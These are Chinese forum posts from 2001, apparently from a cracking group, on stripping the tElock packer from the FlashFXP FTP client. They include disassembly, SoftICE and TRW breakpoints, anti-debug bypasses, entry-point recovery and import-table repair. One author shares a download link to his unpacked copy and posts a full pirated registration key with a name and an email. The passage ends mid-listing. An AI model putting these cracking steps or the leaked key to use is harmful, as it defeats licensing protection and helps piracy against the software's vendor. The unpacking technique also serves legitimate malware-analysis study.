0167:004E7136 XOR AL,AL
0167:004E7138 REP STOSB
0167:004E713A POP EAX
0167:004E713B PUSH EAX
0167:004E713C LEA EDI,[EBP+004332D3]
0167:004E7142 LEA ECX,[EBP+00434000]
0167:004E7148 SUB ECX,EDI
0167:004E714A DEC ECX
0167:004E714B CLD
0167:004E714C XOR AL,AL
0167:004E714E REP STOSB
0167:004E7150 POP EAX
0167:004E7151 MOV BYTE [EBP+00433DE8],00
0167:004E7158 POP EBP
0167:004E7159 JMP EAX <----到原入口
原入口可能需要密盘数据来还原，没有密盘所以得到的入口是不正确的，再运行会非法操作。可以这样，在最后那句把程序DUMP下来，反汇编。看里面的函数调用，比如：GetCommandLineA、GetVersion这些函数一般都出现在程序入口处，找一下，找到如下：

:0042DED7 55 push ebp
:0042DED8 8BEC mov ebp, esp
:0042DEDA 6AFF push FFFFFFFF
:0042DEDC 68D0754600 push 004675D0
:0042DEE1 6810224300 push 00432210
:0042DEE6 64A100000000 mov eax, dword ptr fs:[00000000]
:0042DEEC 50 push eax
:0042DEED 64892500000000 mov dword ptr fs:[00000000], esp
:0042DEF4 83EC58 sub esp, 00000058
:0042DEF7 53 push ebx
:0042DEF8 56 push esi
:0042DEF9 57 push edi
:0042DEFA 8965E8 mov dword ptr [ebp-18], esp

* Reference To: KERNEL32.GetVersion, Ord:0174h
|
:0042DEFD FF1570034600 Call dword ptr [00460370]
:0042DF03 33D2 xor edx, edx
:0042DF05 8AD4 mov dl, ah
:0042DF07 8915945A4800 mov dword ptr [00485A94], edx
:0042DF0D 8BC8 mov ecx, eax
:0042DF0F 81E1FF000000 and ecx, 000000FF
:0042DF15 890D905A4800 mov dword ptr [00485A90], ecx
:0042DF1B C1E108 shl ecx, 08
:0042DF1E 03CA add ecx, edx
:0042DF20 890D8C5A4800 mov dword ptr [00485A8C], ecx
:0042DF26 C1E810 shr eax, 10
:0042DF29 A3885A4800 mov dword ptr [00485A88], eax
:0042DF2E 6A01 push 00000001
:0042DF30 E862560000 call 00433597
:0042DF35 59 pop ecx
:0042DF36 85C0 test eax, eax
:0042DF38 7508 jne 0042DF42
:0042DF3A 6A1C push 0000001C
:0042DF3C E8C3000000 call 0042E004
:0042DF41 59 pop ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042DF38(C)
|
:0042DF42 E8A5330000 call 004312EC
:0042DF47 85C0 test eax, eax
:0042DF49 7508 jne 0042DF53
:0042DF4B 6A10 push 00000010
:0042DF4D E8B2000000 call 0042E004
:0042DF52 59 pop ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042DF49(C)
|
:0042DF53 33F6 xor esi, esi
:0042DF55 8975FC mov dword ptr [ebp-04], esi
:0042DF58 E8C13E0000 call 00431E1E

* Reference To: KERNEL32.GetCommandLineA, Ord:00CAh
|
:0042DF5D FF15F8014600 Call dword ptr [004601F8]
:0042DF63 A3C8714800 mov dword ptr [004871C8], eax
:0042DF68 E8F8540000 call 00433465
:0042DF6D A3D05A4800 mov dword ptr [00485AD0], eax
:0042DF72 E8A1520000 call 00433218
:0042DF77 E8E3510000 call 0043315F
:0042DF7C E8E5EEFFFF call 0042CE66
:0042DF81 8975D0 mov dword ptr [ebp-30], esi
:0042DF84 8D45A4 lea eax, dword ptr [ebp-5C]
:0042DF87 50 push eax
所以估计42DED7就是真正的入口，试一下果然正确。


Flashfxp 1.4

 标 题:脱Flashfxp 1.4的壳 (10千字)
发信人:zombieys
时 间:2001-9-27 0:02:28
详细信息:
脱Flashfxp 1.4的壳

Flashfxp 1.4用fi查不出是加的什么壳，后来看到精品讨论汉化这个东西的时候才知道用的是telock。telock的壳保护很强，好像要比aspr的麻烦。我学脱这个还为时尚早，不过早晚都要碰的，花了n个小时来搞定它。特写此文，让你觉得脱telock的壳好像会很easy;-)

unpack(2001.9.26)

Flashfxp 1.4是用delphi写的，hoho运气真好:)，更新一下用快速寻找delphi程序入口的方法(试过才知道我以前的方法=脱裤子放屁)：执行Flashfxp 1.4，接着用winhex编辑Flashfxp的主内存，选择搜索文本，填runtime,执行搜索，搜到后,向前找到离runtime最近的机器码为55 8B EC的地方就是程序的oep，对应的地址是0052B8B0，ok完活。

ok，下面要在入口处脱壳，老规矩打开SuperBPM，点erase，用trw1.03娃娃修改过的版(因为其他任意一版trw都会死机的)载入Flashfxp，下g 0052B8B0，下suspend，用prodump选dump(full)，非法操作，我倒~~~~~，怎么这么麻烦呀:(，后来参考一下hying和fpc大哥的关于telock的脱壳资料，hoho，telock会把原来的section数改写为ffff,所以只要把原来的section数写回去就行:)。用winhex内存编辑功能把400106-400107填回原来的值0900，再用prodump就成功啦。

接着修复import table

天哪，这都是什么乱七八糟的呀。it完全被telock改的面目全非了，用ImportREC根本无法修复。没办法跟踪程序吧，从telock重建It部分开始吧，用加了superbpm和icedump的s-ice重新载入Flashfxp，下bpm 870000，f5。在这里停下：

0187:00576E02 FF0424 INC DWord Ptr [ESP]
0187:00576E05 891F MOV [EDI],EBX
0187:00576E07 83C304 ADD EBX,00000004
0187:00576E0A 83C704 ADD EDI,00000004
0187:00576E0D 83242403 AND DWord Ptr [ESP],00000003
0187:00576E11 833C2400 CMP DWord Ptr [ESP],00000000
0187:00576E15 742E JZ 00576E45
0187:00576E17 833C2401 CMP DWord Ptr [ESP],00000001
0187:00576E1B 7430 JZ 00576E4D
0187:00576E1D 833C2402 CMP DWord Ptr [ESP],00000002
0187:00576E21 7447 JZ 00576E6A
0187:00576E23 C144240C10 ROL DWord Ptr [ESP+0C],10
0187:00576E28 668B44240C MOV AX,[ESP+0C]
0187:00576E2D 66AB STOSW
0187:00576E2F 8BC3 MOV EAX,EBX
0187:00576E31 C1E803 SHR EAX,03
0187:00576E34 83E003 AND EAX,00000003
0187:00576E37 8A440404 MOV AL,[ESP+1*EAX+04]
0187:00576E3B AA STOSB
0187:00576E3C B0C3 MOV AL,C3
0187:00576E3E AA STOSB
0187:00576E3F 66B8FF35 MOV AX,35FF
0187:00576E43 EB2D JMP 00576E72
0187:00576E45 8B442408 MOV EAX,[ESP+08]
0187:00576E49 AB STOSD
0187:00576E4A 4F DEC EDI
0187:00576E4B EBEF JMP 00576E3C
0187:00576E4D 668B44240C MOV AX,[ESP+0C]
0187:00576E52 66AB STOSW
0187:00576E54 B0C3 MOV AL,C3
0187:00576E56 AA STOSB
0187:00576E57 8BC3 MOV EAX,EBX
0187:00576E59 C1E803 SHR EAX,03
0187:00576E5C 83E003 AND EAX,00000003
0187:00576E5F 8A440404 MOV AL,[ESP+1*EAX+04]
0187:00576E63 AA STOSB
0187:00576E64 66B8FF35 MOV AX,35FF
0187:00576E68 EB08 JMP 00576E72
0187:00576E6A 8B442410 MOV EAX,[ESP+10]
0187:00576E6E AB STOSD
0187:00576E6F 4F DEC EDI
0187:00576E70 EBCA JMP 00576E3C
0187:00576E72 E28C LOOP 00576E00
0187:00576E74 66AB STOSW
0187:00576E76 83C414 ADD ESP,00000014
0187:00576E79 61 POPAD
0187:00576E7A 89BDAAB04000 MOV [EBP+0040B0AA],EDI //MOV [EBP+0040B0AA],EBX
899DAAB04000
0187:00576E80 8BBDAAB04000 MOV EDI,[EBP+0040B0AA] //MOV EDI,[EBP+0040B0B2]
8BBDB2B04000
0187:00576E86 8B85B2B04000 MOV EAX,[EBP+0040B0B2]
0187:00576E8C 0385AAAF4000 ADD EAX,[EBP+0040AFAA]
0187:00576E92 8B8DAEB04000 MOV ECX,[EBP+0040B0AE]
0187:00576E98 8908 MOV [EAX],ECX //将函数名写到正确的位置
0187:00576E9A 8385AEB040000A ADD DWord Ptr [EBP+0040B0AE],0000000A
0187:00576EA1 EB08 JMP 00576EAB
0187:00576EA3 838DAAB04000FF OR DWord Ptr [EBP+0040B0AA],FFFFFFFF
0187:00576EAA 61 POPAD
0187:00576EAB 03BDAAAF4000 ADD EDI,[EBP+0040AFAA]
0187:00576EB1 85DB TEST EBX,EBX
0187:00576EB3 0F84B4000000 JZ 00576F6D
0187:00576EB9 F7C300000080 TEST EBX,80000000
0187:00576EBF 6A00 PUSH 00000000
0187:00576EC1 7506 JNZ 00576EC9
0187:00576EC3 8D5C1302 LEA EBX,[EBX+1*EDX+02]
0187:00576EC7 EB3C JMP 00576F05
0187:00576EC9 FF0424 INC DWord Ptr [ESP]
0187:00576ECC 8B85A6AF4000 MOV EAX,[EBP+0040AFA6]
0187:00576ED2 3B859AB04000 CMP EAX,[EBP+0040B09A]
0187:00576ED8 752B JNZ 00576F05
0187:00576EDA 81E3FFFFFF7F AND EBX,7FFFFFFF
0187:00576EE0 8BD3 MOV EDX,EBX
0187:00576EE2 8D1495FCFFFFFF LEA EDX,[FFFFFFFC+4*EDX]
0187:00576EE9 8B9DA6AF4000 MOV EBX,[EBP+0040AFA6]
0187:00576EEF 8B433C MOV EAX,[EBX+3C]
0187:00576EF2 8B441878 MOV EAX,[EAX+1*EBX+78]
0187:00576EF6 035C181C ADD EBX,[EAX+1*EBX+1C]
0187:00576EFA 8B041A MOV EAX,[EDX+1*EBX]
0187:00576EFD 0385A6AF4000 ADD EAX,[EBP+0040AFA6]
0187:00576F03 EB13 JMP 00576F18
0187:00576F05 81E3FFFFFF7F AND EBX,7FFFFFFF
0187:00576F0B 53 PUSH EBX
0187:00576F0C FFB5A6AF4000 PUSH DWord Ptr [EBP+0040AFA6]
0187:00576F12 FF9514AF4000 CALL Near [`KERNEL32!GetProcAddress`] //读取函数名
0187:00576F18 40 INC EAX
0187:00576F19 48 DEC EAX
0187:00576F1A 7532 JNZ 00576F4E
0187:00576F1C 58 POP EAX
0187:00576F1D F9 STC
0187:00576F1E 0F829BFDFFFF JB 00576CBF
0187:00576F24 47 INC EDI
0187:00576F25 44 INC ESP
0187:00576F26 49 DEC ECX
0187:00576F27 3332 XOR ESI,[EDX]
0187:00576F29 2E44 INC ESP
0187:00576F2B 4C DEC ESP
0187:00576F2C 4C DEC ESP
0187:00576F2D 55 PUSH EBP
0187:00576F2E 53 PUSH EBX
0187:00576F2F 45 INC EBP
0187:00576F30 52 PUSH EDX
0187:00576F31 3332 XOR ESI,[EDX]
0187:00576F33 2E44 INC ESP
0187:00576F35 4C DEC ESP
0187:00576F36 4C DEC ESP
0187:00576F37 53 PUSH EBX
0187:00576F38 48 DEC EAX
0187:00576F39 45 INC EBP
0187:00576F3A 4C DEC ESP
0187:00576F3B 4C DEC ESP
0187:00576F3C 3332 XOR ESI,[EDX]
0187:00576F3E 2E44 INC ESP
0187:00576F40 4C DEC ESP
0187:00576F41 4C DEC ESP
0187:00576F42 4B DEC EBX
0187:00576F43 45 INC EBP
0187:00576F44 52 PUSH EDX
0187:00576F45 4E DEC ESI
0187:00576F46 45 INC EBP
0187:00576F47 4C DEC ESP
0187:00576F48 3332 XOR ESI,[EDX]
0187:00576F4A 2E44 INC ESP
0187:00576F4C 4C DEC ESP
0187:00576F4D 4C DEC ESP
0187:00576F4E 8907 MOV [EDI],EAX //把函数名写回去
0187:00576F50 58 POP EAX
0187:00576F51 48 DEC EAX
0187:00576F52 740D JZ 00576F61
0187:00576F54 40 INC EAX
0187:00576F55 F8 CLC
0187:00576F56 668943FE MOV [EBX-02],AX
0187:00576F5A 8803 MOV [EBX],AL
0187:00576F5C 43 INC EBX
0187:00576F5D 3803 CMP [EBX],AL
0187:00576F5F 75F9 JNZ 00576F5A
0187:00576F61 8385AAAF400004 ADD DWord Ptr [EBP+0040AFAA],00000004 //继续下一个
0187:00576F68 E9D4FDFFFF JMP 00576D41
0187:00576F6D 83C614 ADD ESI,00000014
0187:00576F70 8B95BEAF4000 MOV EDX,[EBP+0040AFBE]
0187:00576F76 E9B1FCFFFF JMP 00576C2C
0187:00576F7B 61 POPAD

sorry啊，我的表达能力太差了，我只能读懂那段的意思，实在是说不出来，语文没学好:(，按我改的做吧，就可以把正确的函数写到正确的位置去，具体有兴趣自己跟一下吧，看看就知道了。

这样做完所有的函数都可以认出，但还有一个问题，wokao这个同样也很难表达，就是该分段的地址还是被telock破坏掉了，就是原来是00000000的地方被telock写进了垃圾代码，ImportREC这时就抓瞎了，还认为这有东西呢，所以我们必须把它还原，在原来的地址写回00000000。如何找呢，这个我还没找到easy的方法，哪位大脱哥有好方法别保留呀，教教偶吧:)。我的方法：在程序破坏it之前把it的结构导出，记下分段地址，然后在程序的领空bpm 这个地址 w，在被telock破坏后，手工填回去。例如：load程序，下bpm 870000，下g，先把我前面说的要改的地方改了，然后下a eip,jmp eip，f5。接着用ImportREC提取未破坏的it结构，找到第一个分段处(我不知道这个改怎么叫)，是00533268，然后按ctrl+d返回程序，把刚才改的jmp eip还原回去，下，bpm 533268 w，g，被拦到，下dd 533268 把垃圾代码写回00000000，以此类推，还好只需要改22次，不累吧，比手工填函数可快多了呀。最后按f5退出，用ImportREC重建it成功，别忘了把dump_.exe的oep改成0012B8B0。

完活，哪位最后有其他好方法可用的话，千万记得告诉我呀，谢啦。
最后，论坛精华3中的脱壳文章不是太旧就是太少了，偶想把它充实些，不过力不从心，让我在短时期内搞这么多东西实在是太xxxx了。偶再过几天就要去学校报道了，这次要住校，tmd又要去浪费time了，我不可能把我的55gb的资料全带过去，所以，唉......在此之前我能赶多少算多少吧，自己研究真的好麻烦:(。这种教育制度纯属是浪费time，三个词送给它shit,fuck,ft。
sorry过于激动了，到此为止，写这些废话是因为刚收到的录取通知。

感谢你能够坚持下来hoho:)

下载：http://zombieys.cn.hongnet.com/FlashFXP14.rar

最后贴个key，51/唐朝/精品，都有提供，谢谢他们了:)
让我算这个key?下辈子吧，不过偶到是看到1.3的keygen了，mo god~~~~~~

-------- FlashFXP Registration Data START --------
Susan Kennedy
N/A
sulusux@subspacemail.com
00000001
09-22-2001
4vUA6=EdIUAN9R+htrOcAcwOLmRKBi55oEj7aZ2W2Ua
mTLay0Gy=4lVgvE8T6SLhzUuUOzYiyphrY1z4soKJT+
jxByazfcFCRXXM7gIPjRCL3tf8gw+oKAHwaEtP+6vq
-------- FlashFXP Registration Data END --------

2001.9.26
zombieys[CCG]

———————————————————————————————>
.-" "-. unpacked by zombieys[CCG] >
/　 　　\ qq:1789655 >
| ★　　 | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| zombieys.cn.hongnet.com >
|/ /\ \| >
(@_@) (_ ^^ _) Thanks for your supports >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>

标 题:看了zombieys的《脱Flashfxp 1.4的壳》一文，也下个FlashFXP v1.4练练。 (6千字)
发信人:liotta[BCG]
时 间:2001-9-28 17:50:41
详细信息:

FlashFXP v1.4

http://www.flashfxp.com
scouting... C:\Program Files\FlashFXP\FlashFXP.exe - 756224 bytes big
Entry Point :00176000 Image Base :00400000
Base of Data :0012C000 Size of Image :00178000

Tools used :

Procdump
Softice
icedump + iceload
看了zombieys的《脱Flashfxp 1.4的壳》一文，也下个FlashFXP v1.4练练。
还好比较简单，大家也可找来练练手脚。
仅供新手参考。
一，用tElock保护的FlashFXP中的反跟踪代码。
用bpint 3切入
017F:0057655E 8B642408 MOV ESP,[ESP+08] <-(1)-SEH proc address
017F:00576562 8B6C2408 MOV EBP,[ESP+08]
017F:00576566 8D85FE040000 LEA EAX,[EBP+000004FE]
017F:0057656C 50 PUSH EAX
017F:0057656D C3 RET <-(1)-回到017F:0057657B
017F:0057656E 2BC0 SUB EAX,EAX
017F:00576570 7402 JZ 00576574
017F:00576572 CD20 INT 20 VXDJmp A7E9,10CC
017F:00576574 CC INT 3 <-(1)-bpint 3切入
017F:00576575 90 NOP
017F:00576576 E9A7000000 JMP 00576622 <--退出处理
017F:0057657B 8D8510050000 LEA EAX,[EBP+00000510]
017F:00576581 89442404 MOV [ESP+04],EAX
017F:00576585 646789260000 MOV FS:[0000],ESP
017F:0057658B EB10 JMP 0057659D <-(1)-可按F7直接运行到此处
017F:0057658D 8B642408 MOV ESP,[ESP+08] <-(2)-SEH proc address
017F:00576591 8B6C2408 MOV EBP,[ESP+08]
017F:00576595 8D852F050000 LEA EAX,[EBP+0000052F]
017F:0057659B 50 PUSH EAX
017F:0057659C C3 RET <-(2)-回到017F:005765AC
017F:0057659D 2BDB SUB EBX,EBX
017F:0057659F 8BD3 MOV EDX,EBX
017F:005765A1 B872472388 MOV EAX,88234772
017F:005765A6 F7F3 DIV EBX <-(2)-除0
017F:005765A8 85D2 TEST EDX,EDX
017F:005765AA 7476 JZ 00576622 <--退出处理
017F:005765AC 8D8541050000 LEA EAX,[EBP+00000541]
017F:005765B2 89442404 MOV [ESP+04],EAX
017F:005765B6 646789260000 MOV FS:[0000],ESP
017F:005765BC EB10 JMP 005765CE <-(2)-可按F7直接运行到此处
017F:005765BE 8B642408 MOV ESP,[ESP+08]
017F:005765C2 8B6C2408 MOV EBP,[ESP+08]
017F:005765C6 8D855F050000 LEA EAX,[EBP+0000055F]
017F:005765CC 50 PUSH EAX
017F:005765CD C3 RET
017F:005765CE 66B80043 MOV AX,4300 <-(3)-Method of detection of the WinICE handler in the int68h (V86)
017F:005765D2 CD68 INT 68
017F:005765D4 66057B0C ADD AX,0C7B
017F:005765D8 6648 DEC AX <-(3)-相当于cmp ax,0F386h
017F:005765DA 7446 JZ 00576622 <-(3)-是00那么SoftICE_Detected,r fl z
017F:005765DC 8D8571050000 LEA EAX,[EBP+00000571]
017F:005765E2 89442404 MOV [ESP+04],EAX
017F:005765E6 646789260000 MOV FS:[0000],ESP
017F:005765EC EB10 JMP 005765FE
017F:005765EE 8B642408 MOV ESP,[ESP+08]
017F:005765F2 8B6C2408 MOV EBP,[ESP+08]
017F:005765F6 8D8599050000 LEA EAX,[EBP+00000599]
017F:005765FC 50 PUSH EAX
017F:005765FD C3 RET
017F:005765FE EB01 JMP 00576601 <--花指令
017F:00576601 33DB XOR EBX,EBX
017F:00576603 8BC3 MOV EAX,EBX <-(4)-比较善良，没想超度你
017F:00576605 66BE4746 MOV SI,4647 <-(4)-magic values
017F:00576609 66BF4D4A MOV DI,4A4D <-(4)-magic values
017F:0057660D CC INT 3 <-(4)-常用的检测方式
017F:0057660E F8 CLC
017F:0057660F 6681FE4746 CMP SI,4647 <-(4)--SI=4647h则SoftICE_Detected
017F:00576614 750C JNZ 00576622 <-(4)-存在SoftICE则退出,r fl z
017F:00576616 64678F060000 POP DWORD PTR FS:[0000]
017F:0057661C 83C404 ADD ESP,04
017F:0057661F 5D POP EBP
017F:00576620 EB16 JMP 00576638
017F:00576622 64678F060000 POP DWORD PTR FS:[0000]
017F:00576628 83C404 ADD ESP,04
017F:0057662B 5D POP EBP
017F:0057662C 81EDE59B4000 SUB EBP,00409BE5
017F:00576632 E946090000 JMP 00576F7D
017F:00576637 C3 RET
017F:00576638 8BDD MOV EBX,EBP

二，用tElock保护的FlashFXP脱壳

跳过tElock保护的反跟踪代码。
tELock找OEP很简单：bpx VirtualProtectEx中断后，稍微跟几步看见jmp [esp-30]，就跳到OEP了。
/dump 400000 178000 c:\FFXP.exe
修改Entry Point:0052B8B0-00400000，以及Number of Sections为原来的数值。
以下是破坏Import Table的特征代码:
017F:00576C16 8B95BEAF4000 MOV EDX,[EBP+0040AFBE]
017F:00576C1C 8BB5AEAF4000 MOV ESI,[EBP+0040AFAE]
017F:00576C22 85F6 TEST ESI,ESI <--首次调用时的ESI就是Import Tabler的RVA
017F:00576C24 0F849D030000 JZ 00576FC7
017F:00576C2A 03F2 ADD ESI,EDX <-- EDX=00400000
017F:00576C2C 83A5AAB0400000 AND DWORD PTR [EBP+0040B0AA],00
017F:00576C33 8B460C MOV EAX,[ESI+0C]
017F:00576C36 83660C00 AND DWORD PTR [ESI+0C],00 <--开始把IMAGE_DATA_DIRECTORY中的Name清0
017F:00576C3A 85C0 TEST EAX,EAX
017F:00576C3C 0F8485030000 JZ 00576FC7
在清零之前可DUMP出完整的Import Table，然后用Procdump导入Import Table，再修改Import Table的RVA值为相应的值(133000)。
完工。
有个简便方法：
先对付反跟踪代码，再bpx VirtualProtectEx中断，F12返回。
找特征代码，记下地址。（s 400000 l 00178000 8B 46 0C 83 66 0C 00 85 C0）下次g到此处DUMP出完整的Import Table
找到OEP，并DUMP，最后作修正。
以上方法在tElock8.0、9.0上试验通过。

标 题:找TELock加壳的Import Table的方法 (6千字)
发信人:blowfish
时 间:2001-9-29 15:56:37
详细信息:

目的：在内存中将FlashFXP未被破坏的IT完整地提取出来
（至于找TELock的OEP、修复的方法等，zombieys、hying、liotta已经讲得很详细了）

第一步：找到IT的位置

找IT自然要依赖于IT的结构特征。IT是个数组，数组中的每个元素是如下的一个结构(#include <winnt.h>)，对应着引入的一个DLL：

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
};
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)

DWORD ForwarderChain; // -1 if no forwarders
DWORD Name; //DLL name
DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;

PE Loader/unpacker在加载DLL时，过程大致如下：
1、先根据Name用LoadLibraryA加载一个DLL；
2、根据FirstThunk找到IMAGE_IMPORT_BY_NAME数组，用GetProcAddress取得该DLL中的相应函数的地址填入IAT。FirstThunk就是指向IAT。

typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

找IT的位置的过程和上面的过程有些相反。利用调试器设bpx LoadLibraryA、bpx GetProcAddress断点，我们能够直接得到的条件是DLL文件名

字符串及该串的内存地址、每个函数的Hint和函数名的内存地址、IAT的位置（即GetProcAddress的返回值所要写入的位置），这样就至少有3条途

径可以找到IT的位置，一是根据DLL Name（在看雪教学中已有详细描述），第二条途径是根据Hint和函数名的地址，第三条则是根据IAT的位置

，这3条途径用的是同一种方法（这是找IT的一种通用方法，并不限于TELock加的壳）。

1、用BPMB LoadLibraryA X DO "d *(esp+4)"设断点，看见加载oleaut32.dll：

0023:00533DBC 61656C6F 32337475 6C6C642E 00000000 oleaut32.dll....
0023:00533DCC 69726156 43746E61 676E6168 70795465 VariantChangeTyp
0023:00533DDC 00784565 61560000 6E616972 706F4374 eEx...VariantCop
0023:00533DEC 646E4979 00000000 69726156 43746E61 yInd....VariantC
0023:00533DFC 7261656C 00000000 53737953 6E697274 lear....SysStrin
0023:00533E0C 6E654C67 00000000 46737953 53656572 gLen....SysFreeS
0023:00533E1C 6E697274 00000067 52737953 6C6C4165 tring...SysReAll
0023:00533E2C 7453636F 676E6972 006E654C 79530000 ocStringLen...Sy

2、先尝试第一条途径。字符串"oleaut32.dll"的RVA为00133DBC，于是在内存中搜索这个RVA，希望能够找到存放有该RVA值的某个

IMAGE_IMPORT_DESCRIPTOR结构，也就等于是找到了IT。

:s cs:400000 l 178000 bc,3d,13,00
Pattern not found

没有找到。因为TELock已经把相应位置上的值清0了。（实际上也可以用下一个DLL的文件名来进行搜索，因为TELock此时尚未处理下一个DLL，

它不可能提前把下一个DLL的IMAGE_IMPORT_DESCRIPTOR结构清掉。）

3、再尝试第2条途径。注意到第一个函数VariantChangeTypeEx的Hint的地址是00533DCA，于是搜索RVA值00133DCA，希望能够找到FirstThunk

所指向的那个数组（其实该数组也就是IAT），进而再找到FirstThunk的位置。

:s cs:400000 l 178000 ca,3d,13,00
Pattern found at 001B:0053328C (0013328C)

找到之后看一下IAT。由于此时还未把GetProcAddress的返回值写入IAT，所以此时IAT中存放的都是指向IMAGE_IMPORT_BY_NAME的指针（RVA）

：

:dd 53328c
001B:0053328C 00133DCA 00133DE0 00133DF2 00133E02 .=...=...=...>..
001B:0053329C 00133E12 00133E22 00133E38 00000000 .>..">..8>......
001B:005332AC 00133E5A 00133E68 00133E76 00133E84 Z>..h>..v>...>..
001B:005332BC 00133E98 00000000 00133EBC 00133ECE .>.......>...>..
001B:005332CC 00133EE2 00133EF6 00133F06 00133F14 .>...>...?...?..
001B:005332DC 00133F24 00133F36 00133F44 00133F58 $?..6?..D?..X?..
001B:005332EC 00133F70 00000000 00133F96 00133FA2 p?.......?...?..
001B:005332FC 00133FAE 00133FBA 00133FC6 00133FDC .?...?...?...?..

4、再看究竟是哪个FirstThunk指向了上面的IAT。由于该IAT的RVA为0013328C，故

:s cs:400000 l 178000 8c,32,13,00
Pattern found at 001B:0053304C (0013304C)

5、这样就找到了oleaut32.dll所对应的FirstThunk的位置是0053304C。在此位置附近看一下，就可以找到IT的起始位置为00533000
，长度为0x1CC（问号表示未被映射的内存空间；最初的4个IMAGE_IMPORT_DESCRIPTOR结构已经被清除了一部分）：

001B:00532FE0 ???????? ???????? ???????? ???????? ................
001B:00532FF0 ???????? ???????? ???????? ???????? ................
001B:00533000 00000000 00000000 00000000 00000000 ................
001B:00533010 001331CC 00000000 00000000 00000000 .1..............
001B:00533020 00000000 0013326C 00000000 00000000 ....l2..........
001B:00533030 00000000 00000000 0013327C 00000000 ........|2......
001B:00533040 00000000 00000000 00000000 0013328C .............2..
001B:00533050 00000000 00000000 00000000 00133E4C ............L>..
001B:00533060 001332AC 00000000 00000000 00000000 .2..............
001B:00533070 00133EAE 001332C4 00000000 00000000 .>...2..........
001B:00533080 00000000 00133F88 001332F4 00000000 .....?...2......
001B:00533090 00000000 00000000 001346D4 0013349C .........F...4..

第二步：找到破坏IT的代码

由于TELock清除了IT中指向DLL文件名的RVA，故只要设个bpm断点，看它什么时候清这个文件名的，就可以找到破坏IT的代码。
第一个DLL文件名的RVA存放在0053300C处，故BPM 00533000+0C W do "dd 533000"，

001B:00576C16 8B95BEAF4000 MOV EDX,[EBP+0040AFBE]
001B:00576C1C 8BB5AEAF4000 MOV ESI,[EBP+0040AFAE]
001B:00576C22 85F6 TEST ESI,ESI
001B:00576C24 0F849D030000 JZ 00576FC7
001B:00576C2A 03F2 ADD ESI,EDX
001B:00576C2C 83A5AAB0400000 AND DWORD PTR [EBP+0040B0AA],00
001B:00576C33 8B460C MOV EAX,[ESI+0C]
001B:00576C36 83660C00 AND DWORD PTR [ESI+0C],00 //清除指向每个DLL的Name的RVA值
001B:00576C3A 85C0 TEST EAX,EAX
001B:00576C3C 0F8485030000 JZ 00576FC7
001B:00576C42 03C2 ADD EAX,EDX
001B:00576C44 8BD8 MOV EBX,EAX
001B:00576C46 50 PUSH EAX
001B:00576C47 FF9518AF4000 CALL [EBP+0040AF18]
001B:00576C4D 85C0 TEST EAX,EAX
001B:00576C4F 0F858C000000 JNZ 00576CE1
001B:00576C55 53 PUSH EBX

在第一次执行上面CS:00576C36处的AND之前将533000～535FFF之间的内容（共0x3000字节，不仅包含IT，还包含IAT等）dump出来就行了。
所以觉得TELock目前还没有ASProtect强

标 题:在5762CC处强行跳转，然后在入口点就能一次DUMP到完整的程序和输入表。 (空)
发信人:hying
时 间:2001-9-29 8:23:43
详细信息:


FlashFXP v1.4.1 build 823

 标 题:转贴一篇：FlashFXP v1.4.1 build 823 的脱壳与破解 (16千字)
发信人:拉灯睡觉
时 间:2001-12-30 0:44:10
详细信息:
FlashFXP v1.4.1 build 823 的脱壳与破解

软件名称：FlashFXP v1.4.1 build 823
下载：http://www.onlinedown.net/flashfxp
大小：828KB
工具：W32dasm＋TRW2000
软件评价：功能强大的FXP /FTP软件，融合了一些其他优秀FTP软件的优点。
我认为它许多方面比cuteftp要好，所以才会有很多朋友喜欢它.

破解： moonlite\edea 联合制作

脱壳爆破过程：

flashfxp1.4.1 823的壳是telock.它的主要特点是anti-debug太多,只要搞定anti-debug,脱壳就容易了。像类似下面的(1)、(2)两段的代码有很多处。所以追踪时要格外小心，最好用F8、F7。

(1)

0167:00583A12 60 PUSHA
0167:00583A13 E806000000 CALL 00583A1E
0167:00583A18 8B642408 MOV ESP,[ESP+08] 《————异常处理入口，此处下断。F5一下。
0167:00583A1C EB0D JMP SHORT 00583A2B
0167:00583A1E 2BFF SUB EDI,EDI
0167:00583A20 64FF37 PUSH DWORD [FS:EDI]
0167:00583A23 648927 MOV [FS:EDI],ESP 《————从这里后不要往下F8了。
0167:00583A26 F1 INT1
0167:00583A27 FF07 INC DWORD [EDI]
0167:00583A29 EBE8 JMP SHORT 00583A13
0167:00583A2B 85E4 TEST ESP,ESP
0167:00583A2D 7903 JNS 00583A32

(2)

0167:00583A3B F8 CLC
0167:00583A3C 0BC1 OR EAX,ECX
0167:00583A3E 60 PUSHA
0167:00583A3F E806000000 CALL 00583A4A
0167:00583A44 8B642408 MOV ESP,[ESP+08] 《————异常处理入口
0167:00583A48 EB1A JMP SHORT 00583A64
0167:00583A4A 6467FF360000 PUSH DWORD [WORD FS:00]
0167:00583A50 646789260000 MOV [WORD FS:00],ESP
0167:00583A56 9C PUSHF 《————从这里开始不要走了，想图方便的话，将eip改为583a48就行了。
0167:00583A57 810C2400010000 OR DWORD [ESP],0100
0167:00583A5E 9D POPF
0167:00583A5F F8 CLC
0167:00583A60 73DC JNC 00583A3E
0167:00583A62 CD20 INT 20
0167:00583A64 64678F060000 POP DWORD [WORD FS:00]
0167:00583A6A 58 POP EAX
0167:00583A6B 61 POPA
0167:00583A6C F9 STC
0167:00583A6D 7202 JC 00583A71

(3) 这里是整个壳中最精彩的（不知乱说没有，请多多指教），

0167:00582078 7FE9 JG 00582063
0167:0058207A E800000000 CALL 0058207F
0167:0058207F 5D POP EBP
0167:00582080 8D4546 LEA EAX,[EBP+46]
0167:00582083 50 PUSH EAX
0167:00582084 33C0 XOR EAX,EAX
